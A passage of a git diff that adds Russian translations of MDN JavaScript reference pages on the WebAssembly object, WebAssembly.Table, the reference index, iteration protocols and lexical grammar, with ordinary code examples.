+<p>Объект JavaScript <strong><code>WebAssembly</code></strong> действует как пространство имен для всего <a href="/en-US/docs/WebAssembly">WebAssembly</a>-связанного функционала.</p>
+
+<p>В отличие от большинства других глобальных объектов, <code>WebAssembly</code> не является конструктором (это не объект функции). Можно сравнить его с {{jsxref("Math")}}, который так же является пространством имен констант и функций, или  {{jsxref("Intl")}}, который является пространством имен для конструкторов интернационализации и других языково-чувствительных функций.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Основное использование <code>WebAssembly</code> следующее:</p>
+
+<ul>
+ <li>Загрузка кода WebAssembly, с помощью функции {{jsxref("WebAssembly.instantiate()")}}.</li>
+ <li>Создание новой памяти и таблицы экземпляров с помощью конструкторов {{jsxref("WebAssembly.Memory()")}}/{{jsxref("WebAssembly.Table()")}}.</li>
+ <li>Обеспечение возможности управлять ошибками, которые появляются в WebAssembly с помощью конструкторов {{jsxref("WebAssembly.CompileError()")}}/{{jsxref("WebAssembly.LinkError()")}}/{{jsxref("WebAssembly.RuntimeError()")}}.</li>
+</ul>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.instantiate()")}}</dt>
+ <dd>Основное API для компиляции и создания экземпляра кода WebAssembly, возвращающее <code>Module</code> и его первый <code>Instance</code>.</dd>
+ <dt>{{jsxref("WebAssembly.compile()")}}</dt>
+ <dd>Компилирует {{jsxref("WebAssembly.Module")}} из бинарного кода WebAssembly, оставляя создание экземпляра отдельным шагом.</dd>
+ <dt>{{jsxref("WebAssembly.validate()")}}</dt>
+ <dd>Проверяет представленный типизированный массив бинарного кода WebAssembly, возвращая в зависимости от того были ли байты кода WebAssembly валидны (<code>true</code>) или (<code>false</code>).</dd>
+</dl>
+
+<h2 id="Конструкторы">Конструкторы</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.Module()")}}</dt>
+ <dd>Создает новый объект WebAssembly <code>Module</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Instance()")}}</dt>
+ <dd>Создает новый объект WebAssembly <code>Instance</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Memory()")}}</dt>
+ <dd>Создает новый объект WebAssembly <code>Memory</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Table()")}}</dt>
+ <dd>Создает новый объект WebAssembly <code>Table</code>.</dd>
+ <dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
+ <dd>Создает новый объект WebAssembly <code>CompileError</code>.</dd>
+ <dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
+ <dd>Создает новый объект WebAssembly <code>LinkError</code>.</dd>
+ <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
+ <dd>Создает новый объект WebAssembly <code>RuntimeError</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>После загрузки некоторого байт-кода WebAssembly с помощью fetch, мы компилируем и создаем экземпляр модуля с помощью функции {{jsxref("WebAssembly.instantiate()")}}, импортируя функции JavaScript в WebAssembly Module в процессе. Этот промис результирует в объект (<code>result</code>), содержащий скомпилированные <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">Module</a></code> и объекты <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance">Instance</a></code>. Мы можем вызвать <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a>, которая была экспортирована через <code>Instance</code>.</p>
+
+<pre class="brush: js">var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.instantiate(bytes, importObject)
+).then(result =&gt;
+  result.instance.exports.exported_func()
+);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Смотрите пример <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index.html">index.html</a> на GitHub (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/">view it live also</a>), который использует наши <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js#L1">fetchAndInstantiate()</a></code> библиотечные функции.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#the-webassembly-object', 'WebAssembly')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Первоначальное определение проекта.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>57</td>
+   <td>15<sup>[2]</sup></td>
+   <td>{{CompatGeckoDesktop(52)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>44</td>
+   <td>11</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome for Android</th>
+   <th>Android Webview</th>
+   <th>Edge Mobile</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>57</td>
+   <td>57</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(52)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] WebAssembly включен в Firefox 52+, хотя не валиден в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 52 Extended Support Release</a> (ESR.)</p>
+
+<p>[2] В настоящее время поддерживается флаг «Экспериментальные функции JavaScript».  Для более подробной информации смотрите <a href="https://blogs.windows.com/msedgedev/2017/04/20/improved-javascript-performance-webassembly-shared-memory/">этот blog post</a>.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> обзорная страница</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly концепции</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Использование WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html
new file mode 100644
index 0000000000..c453aeaf46
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html
@@ -0,0 +1,104 @@
+---
+title: WebAssembly.Table
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <code><strong>WebAssembly.Table()</strong></code> - это JavaScript обертка — структура похожая на массив, представляюшая таблицу функций WebAssembly. Таблица, созданная через JavaScript или в коде WebAssembly, будет доступна и может быть изменена как из JavaScript, так и из WebAssembly.</p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Таблицы сейчас хранят только ссылки на функции, но это может быть расширено в будущем.</p>
+</div>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/Table">WebAssembly.Table()</a></code></dt>
+ <dd>Создает новый объект <code>Table</code>.</dd>
+</dl>
+
+<h2 id="Экземпляры_Table">Экземпляры <code>Table</code></h2>
+
+<p>Все экземпляры <code>Table</code> наследуются от <a href="/ru-RU/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/prototype">прототипа конструктора</a> <code>Table()</code>, следовательно изменения прототипа затронут все экземпляры <code>Table</code>.</p>
+
+<h3 id="Свойства_экземпляра">Свойства экземпляра</h3>
+
+<dl>
+ <dt><code>Table.prototype.constructor</code></dt>
+ <dd>Возвращает функцию которая создала этот объект. По умолчанию это конструктор {{jsxref("WebAssembly.Table()")}}.</dd>
+ <dt>{{jsxref("WebAssembly/Table/length","Table.prototype.length")}}</dt>
+ <dd>Возвращает длину таблицы (количество елементов в таблице).</dd>
+</dl>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<dl>
+ <dt>{{jsxref("WebAssembly/Table/get","Table.prototype.get(index)")}}</dt>
+ <dd>Возвращает указанное значение из таблицы.</dd>
+ <dt>{{jsxref("WebAssembly/Table/grow","Table.prototype.grow(count)")}}</dt>
+ <dd>Увеличивает размер таблицы на указанное количество элементов.</dd>
+ <dt>{{jsxref("WebAssembly/Table/set","Table.prototype.set(index, value)")}}</dt>
+ <dd>Сохраняет указанное значение в таблицу под указанным индексом.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующий пример (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">исходный код</a> и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">живую версию</a> table2.html) создает новый экземпляр WebAssembly Table с 2 элементами. После этого выводит длину таблицы и содержимое первых двух елементов (полученных через {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} чтобы показать что длина равняется 2 и елементы равны {{jsxref("null")}}.</p>
+
+<pre class="brush: js">var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
+console.log(tbl.length);  // "2"
+console.log(tbl.get(0));  // "null"
+console.log(tbl.get(1));  // "null"</pre>
+
+<p>После этого мы создаем обьект импорта содержащий таблицу:</p>
+
+<pre class="brush: js">var importObj = {
+  js: {
+    tbl: tbl
+  }
+};</pre>
+
+<p>После этого, мы создаем экземпляр модуля wasm (table2.wasm) используя метод {{jsxref("WebAssembly.instantiateStreaming()")}}.  Модуль table2.wasm содержит две функции, одна возвращает 42, а вторая - 83) и сохраняет эти функции под индексами 0 и 1 в импортированную таблицу (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.wat">текстовую версию</a>).  Таким образом, после создания wasm-модуля, таблица имеет туже длину, но елементы таблицы стали <a href="/ru-RU/docs/WebAssembly/Exported_functions">функциями экспортированными из WebAssembly</a> которые можно вызывать из JS.</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
+.then(function(obj) {
+  console.log(tbl.length);
+  console.log(tbl.get(0)());
+  console.log(tbl.get(1)());
+});</pre>
+
+<p>Заметьте что понадобилось добавить второй оператор вызова функции чтобы вызвать функцию возвращенную из талицы (т.е. <code>get(0)()</code> вместо <code>get(0)</code>) .</p>
+
+<p>Этот пример показывает что мы создаем и работаем с таблицей из JavaScript, но экземпляр таблицы также виден и доступен внутри модуля wasm.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#tables', 'Table')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Table")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Обзор <a href="/ru-RU/docs/WebAssembly">WebAssembly</a></li>
+ <li><a href="/ru-RU/docs/WebAssembly/Concepts">Концепция WebAssembly</a></li>
+ <li><a href="/ru-RU/docs/WebAssembly/Using_the_JavaScript_API">Использование JavaScript API WebAssembly</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/index.html b/files/ru/web/javascript/reference/index.html
new file mode 100644
index 0000000000..606c77d483
--- /dev/null
+++ b/files/ru/web/javascript/reference/index.html
@@ -0,0 +1,48 @@
+---
+title: Справочник по JavaScript
+slug: Web/JavaScript/Reference
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference
+---
+<div>{{JsSidebar}}</div>
+
+<p>Эта часть раздела MDN по JavaScript служит хранилищем фактов о языке JavaScript. Более подробную информацию об этом справочнике можно получить <a href="/ru/docs/Web/JavaScript/Reference/About">здесь</a>.</p>
+
+<h2 id="Global_Objects" name="Global_Objects">Глобальные объекты</h2>
+
+<p>Эта глава описывает все <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects">стандартные встроенные объекты JavaScript</a> вместе с их методами и свойствами.</p>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects', 'Standard objects (by category)')}}</div>
+
+<h2 id="Statements" name="Statements">Инструкции</h2>
+
+<p>Эта глава описывает все <a href="/ru/docs/Web/JavaScript/Reference/Statements">инструкции и объявления JavaScript</a>.</p>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Statements', 'Statements_and_declarations_by_category')}}</div>
+
+<h2 id="Expressions_and_operators" name="Expressions_and_operators">Выражения и операторы</h2>
+
+<p>Эта глава описывает все <a href="/ru/docs/Web/JavaScript/Reference/Operators">выражения и операторы JavaScript</a>.</p>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Operators', 'Expressions_and_operators_by_category')}}</div>
+
+<h2 id="Functions" name="Functions">Функции</h2>
+
+<p>Эта глава описывает, как работать с <a href="/ru/docs/Web/JavaScript/Reference/Functions">функциями JavaScript</a> для разработки ваших приложений.</p>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code></a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Arrow_functions">Стрелочные функции</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Default_parameters">Параметры по умолчанию</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/rest_parameters">Оставшиеся параметры</a></li>
+</ul>
+
+<h2 id="Additional_reference_pages" name="Additional_reference_pages">Дополнительные справочные страницы</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar">Лексическая грамматика</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Data_structures">Типы и структуры данных</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">Строгий режим</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Устаревшие возможности</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/iteration_protocols/index.html b/files/ru/web/javascript/reference/iteration_protocols/index.html
new file mode 100644
index 0000000000..cc9b66658a
--- /dev/null
+++ b/files/ru/web/javascript/reference/iteration_protocols/index.html
@@ -0,0 +1,316 @@
+---
+title: The Iterator protocol
+slug: Web/JavaScript/Reference/Iteration_protocols
+tags:
+  - Итератор
+translation_of: Web/JavaScript/Reference/Iteration_protocols
+---
+<div>
+<div>{{jsSidebar("More")}}</div>
+</div>
+
+<p>Одно из нововведений стандарта ECMAScript 2015 - протоколы перебора, которые могут реализованы любым объектом, соблюдая при этом определенные правила.</p>
+
+<h2 id="Протоколы_перебора">Протоколы перебора</h2>
+
+<p>Протоколы перебора включают <a href="#The_.22iterable.22_protocol">the "iterable" protocol</a> и <a href="#The_.22iterator.22_protocol">the "iterator" protocol</a>.</p>
+
+<h3 id="Протокол_Итерируемый">Протокол "Итерируемый"</h3>
+
+<p>Протокол "<strong>Итерируемый</strong>" позволяет JavaScript объектам определять или настраивать поведение перебора, например, то какие значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, имеют поведение перебора по умолчанию, в то время как другие типы (такие как {{jsxref("Object")}}) его не имеют</p>
+
+<p>Для того, чтобы объект был <strong>итерируемым</strong>, в нем должен быть реализован метод <strong>@@iterator</strong>, т.е. этот объект (или любой из объектов из его <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype chain</a>) должен иметь свойство с именем {{jsxref("Symbol")}}<code>.iterator</code>:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Значение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>[Symbol.iterator]</code></td>
+   <td>Функция без аргументов, возвращающая объект, соответствующий <a href="#The_.22iterator.22_protocol">iterator protocol</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Всякий раз, когда объект подлежит перебору (например, когда в коде встречается цикл <code>for..of</code>), вызывается его метод <code>@@iterator</code> без аргументов, и возвращаемый <strong>iterator</strong> используется для получения перебираемых значений.</p>
+
+<h3 id="Протокол_Итератор">Протокол "Итератор"</h3>
+
+<p>Протокол "<strong>Итератор</strong>" определяет стандартный способ получения последовательности значений  (конечной или бесконечной).</p>
+
+<p>Объект является итератором, если в нем определен метод <strong>next()</strong> , реализующий следующую логику:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Значение</th>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>
+    <p>Функция без аргументов, возвращающая объект с двумя свойствами:</p>
+
+    <ul>
+     <li><code>done</code> (boolean)
+
+      <ul>
+       <li>Принимает значение <code>true</code> если итератор достиг конца итерируемой последовательности. В этом случае свойство <code>value</code> может определять <em>возвращаемое значение</em> итератора. Возвращаемые значения объясняются более подробно <a href="http://www.2ality.com/2013/06/iterators-generators.html#generators-as-threads">here</a>.</li>
+       <li>Принимает значение <code>false</code> если итератор может генерировать следующее значение последовательности. Это эквивалентно не указанному done.</li>
+      </ul>
+     </li>
+     <li><code>value</code> - любое JavaScript значение, возвращаемое итератором. Может быть опущено, если <code>done имеет значение</code> <code>true</code>.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Некоторые итераторы, в свою очередь, итерабельны:</p>
+
+<pre class="brush: js">var someArray = [1, 5, 7];
+var someArrayEntries = someArray.entries();
+
+someArrayEntries.toString();           // "[object Array Iterator]"
+someArrayEntries === someArrayEntries[Symbol.iterator]();    // true
+</pre>
+
+<h2 id="Примеры_использования_протокола_итератора">Примеры использования протокола "итератора"</h2>
+
+<p>{{jsxref("String")}} является примером встроенного итерабельного объекта:</p>
+
+<pre class="brush: js">var someString = "hi";
+typeof someString[Symbol.iterator]           // "function"
+</pre>
+
+<p><font face="Consolas, Liberation Mono, Courier, monospace">По умолчанию итератор строки возвращает символы строки друг за другом:</font></p>
+
+<pre class="brush: js">var iterator = someString[Symbol.iterator]();
+iterator + ""                                // "[object String Iterator]"
+
+iterator.next()                              // { value: "h", done: false }
+iterator.next()                              // { value: "i", done: false }
+iterator.next()                              // { value: undefined, done: true }</pre>
+
+<p>Некоторые встроенные конструкции языка, например, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>, используют в своей внутренней реализации тот же протокол итерации:</p>
+
+<pre class="brush: js">[...someString]                              // ["h", "i"]</pre>
+
+<p>Поведение итератора можно переопределить применив собственный <code>@@iterator</code>:</p>
+
+<pre class="brush: js">var someString = new String("hi");          // need to construct a String object explicitly to avoid auto-boxing
+
+someString[Symbol.iterator] = function() {
+  return { // this is the iterator object, returning a single element, the string "bye"
+    next: function() {
+      if (this._first) {
+        this._first = false;
+        return { value: "bye", done: false };
+      } else {
+        return { done: true };
+      }
+    },
+    _first: true
+  };
+};
+</pre>
+
+<p>Notice how redefining <code>@@iterator</code> affects the behavior of built-in constructs, that use the iteration protocol:</p>
+
+<pre class="brush: js">[...someString]                              // ["bye"]
+someString + ""                              // "hi"
+</pre>
+
+<h2 id="Встроенная_итерируемость">Встроенная итерируемость</h2>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} и {{jsxref("Set")}} итерируемы, так как их прототипы содержат <code>@@</code><code>iterator</code> метод, а {{jsxref("Object")}} нет, так как прототип {{jsxref("Object")}} не содержит метода <code>@@</code><code>iterator</code></p>
+
+<h2 id="Итерируемость_определенная_пользователем">Итерируемость определенная пользователем</h2>
+
+<p>Мы можем создать итерируемый объект сами:</p>
+
+<pre class="brush: js">var myIterable = {}
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...myIterable] // [1, 2, 3]
+</pre>
+
+<h2 id="Builtin_APIs_need_iterables">Builtin APIs need iterables</h2>
+
+<p>{{jsxref("Map", "Map([iterable])")}}, {{jsxref("WeakMap", "WeakMap([iterable])")}}, {{jsxref("Set", "Set([iterable])")}} and {{jsxref("WeakSet", "WeakSet([iterable])")}}:</p>
+
+<pre class="brush: js">var myObj = {}
+new Map([[1,"a"],[2,"b"],[3,"c"]]).get(2)               // "b"
+new WeakMap([[{},"a"],[myObj,"b"],[{},"c"]]).get(myObj) // "b"
+new Set([1, 2, 3]).has(3)                               // true
+new Set("123").has("2")                                 // true
+new WeakSet(function*() {
+    yield {};
+    yield myObj;
+    yield {};
+}()).has(myObj)                                     // true
+</pre>
+
+<p>and {{jsxref("Promise.all", "Promise.all(iterable)")}}, {{jsxref("Promise.race", "Promise.race(iterable)")}}, {{jsxref("Array.from", "Array.from()")}}</p>
+
+<h2 id="Синтаксис_предполагающий_итерируемость">Синтаксис предполагающий итерируемость</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for-of</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread</a>, yield*, destructing  - использование данного синтаксиса возможно только если типы данных, к которым он применяется, итерируемы:</p>
+
+<pre class="brush: js">for(let value of ["a", "b", "c"]){
+    console.log(value)
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"] // ["a", "b", "c"]
+
+function* gen(){
+  yield* ["a", "b", "c"]
+}
+
+gen().next() // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"])
+a // "a"
+
+</pre>
+
+<h2 id="Non-well-formed_iterables">Non-well-formed iterables</h2>
+
+<p>If an iterable's <code>@@iterator</code> method doesn't return an iterator object, then it's a non-well-formed iterable, using it as such is likely to result in runtime exceptions or buggy behavior:</p>
+
+<pre class="brush: js">var nonWellFormedIterable = {}
+nonWellFormedIterable[Symbol.iterator] = () =&gt; 1
+[...nonWellFormedIterable] // TypeError: [] is not a function
+</pre>
+
+<h2 id="Объект-генератор_является_итератором_или_итерируемым">Объект-генератор является итератором или итерируемым</h2>
+
+<p>И тем и другим</p>
+
+<pre class="brush: js">var aGeneratorObject = function*(){
+    yield 1;
+    yield 2;
+    yield 3;
+}()
+typeof aGeneratorObject.next
+// "function", because it has a next method, so it's an iterator
+typeof aGeneratorObject[Symbol.iterator]
+// "function", because it has an @@iterator method, so it's an iterable
+aGeneratorObject[Symbol.iterator]() === aGeneratorObject
+// true, because its @@iterator method return its self (an iterator), so it's an well-formed iterable
+[...aGeneratorObject]
+// [1, 2, 3]
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_итератор">Простой итератор</h3>
+
+<pre class="brush: js">function makeIterator(array){
+    var nextIndex = 0;
+
+    return {
+       next: function(){
+           return nextIndex &lt; array.length ?
+               {value: array[nextIndex++], done: false} :
+               {done: true};
+       }
+    }
+}
+
+var it = makeIterator(['yo', 'ya']);
+
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done);  // true
+</pre>
+
+<h3 id="Бесконечный_итератор">Бесконечный итератор</h3>
+
+<pre class="brush: js">function idMaker(){
+    var index = 0;
+
+    return {
+       next: function(){
+           return {value: index++, done: false};
+       }
+    }
+}
+
+var it = idMaker();
+
+console.log(it.next().value); // '0'
+console.log(it.next().value); // '1'
+console.log(it.next().value); // '2'
+// ...
+</pre>
+
+<h3 id="С_генератором">С генератором</h3>
+
+<pre class="brush: js">function* makeSimpleGenerator(array){
+    var nextIndex = 0;
+
+    while(nextIndex &lt; array.length){
+        yield array[nextIndex++];
+    }
+}
+
+var gen = makeSimpleGenerator(['yo', 'ya']);
+
+console.log(gen.next().value); // 'yo'
+console.log(gen.next().value); // 'ya'
+console.log(gen.next().done);  // true
+
+
+
+function* idMaker(){
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // '0'
+console.log(gen.next().value); // '1'
+console.log(gen.next().value); // '2'
+// ...
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-iteration', 'Iteration')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-iteration', 'Iteration')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Дополнительную информацию о генераторах ES 2015 смотри <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">на отдельной странице.</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/lexical_grammar/index.html b/files/ru/web/javascript/reference/lexical_grammar/index.html
new file mode 100644
index 0000000000..e3d581c8e6
--- /dev/null
+++ b/files/ru/web/javascript/reference/lexical_grammar/index.html
@@ -0,0 +1,693 @@
+---
+title: Лексический синтаксис
+slug: Web/JavaScript/Reference/Lexical_grammar
+tags:
+  - JavaScript
+  - Keyword
+  - Literal
+  - ключевые слова
+  - литералы
+translation_of: Web/JavaScript/Reference/Lexical_grammar
+---
+<div>{{JsSidebar("More")}}</div>
+
+<div>Этот раздел описывает синтаксис JavaScript. Исходный код ECMAScript скриптов сканируется слева направо и преобразуется в последовательность найденных элементов в токены, управляющие символы, окончания строк, комментарии или пробелы.<br>
+ECMAScript также определяет ключевые слова и литералы и имеет указания для автоматической вставки точек с запятой к концу инструкции.</div>
+
+<h2 id="Спецсимволы">Спецсимволы</h2>
+
+<p>Спецсимволы не имеют визуального представления, однако используются для управления интерпретацией текста.</p>
+
+<table class="standard-table">
+ <caption>Юникодные форматирующие спецсимволы</caption>
+ <tbody>
+  <tr>
+   <th>Code point</th>
+   <th>Name</th>
+   <th>Abbreviation</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>U+200C</code></td>
+   <td>Zero width non-joiner</td>
+   <td>&lt;ZWNJ&gt;</td>
+   <td>Размещается между символами во избежание их соединений в лигатуры для некоторых языков (<a href="http://en.wikipedia.org/wiki/Zero-width_non-joiner">Wikipedia</a>)</td>
+  </tr>
+  <tr>
+   <td><code>U+200D</code></td>
+   <td>Zero width joiner</td>
+   <td>&lt;ZWJ&gt;</td>
+   <td>Размещается между символами, которые не могли бы нормально объединиться для того, чтобы символы отрисовывались, используя их соединительную форму в некоторых языках (<a href="http://en.wikipedia.org/wiki/Zero-width_joiner">Wikipedia</a>)</td>
+  </tr>
+  <tr>
+   <td><code>U+FEFF</code></td>
+   <td>Byte order mark</td>
+   <td>&lt;BOM&gt;</td>
+   <td>Используется вначале скрипта для того, чтобы пометить Юникод и порядок байтов (<a href="http://en.wikipedia.org/wiki/Byte_order_mark">Wikipedia</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пробелы">Пробелы</h2>
+
+<p>Пробельные символы улучшают читабельность исходного текста и разделяет токены друг от друга. Пробельные символы обычно не обязательны для функционирования кода. <a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">Утилиты для уменьшения объема кода</a> часто удаляют пробельные символы, чтобы уменьшить объем кода.</p>
+
+<table class="standard-table">
+ <caption>Таблица пробельных символов</caption>
+ <tbody>
+  <tr>
+   <th>Code point</th>
+   <th>Name</th>
+   <th>Abbreviation</th>
+   <th>Description</th>
+   <th>Escape sequence</th>
+  </tr>
+  <tr>
+   <td>U+0009</td>
+   <td>Character tabulation</td>
+   <td>&lt;HT&gt;</td>
+   <td>Горизонтальная табуляция</td>
+   <td>\t</td>
+  </tr>
+  <tr>
+   <td>U+000B</td>
+   <td>Line tabulation</td>
+   <td>&lt;VT&gt;</td>
+   <td>Вертикальная табуляция</td>
+   <td>\v</td>
+  </tr>
+  <tr>
+   <td>U+000C</td>
+   <td>Form feed</td>
+   <td>&lt;FF&gt;</td>
+   <td>Символ контроля разрыва страницы (<a href="http://en.wikipedia.org/wiki/Page_break#Form_feed">Wikipedia</a>)</td>
+   <td>\f</td>
+  </tr>
+  <tr>
+   <td>U+0020</td>
+   <td>Space</td>
+   <td>&lt;SP&gt;</td>
+   <td>Обычный пробел</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>U+00A0</td>
+   <td>No-break space</td>
+   <td>&lt;NBSP&gt;</td>
+   <td>
+    <p>Обычный пробел без точки, на которой может произойти разрыв страницы</p>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Others</td>
+   <td>Other Unicode space characters</td>
+   <td>&lt;USP&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Space_%28punctuation%29#Spaces_in_Unicode">Другие символы в Юникоде на Википедии</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
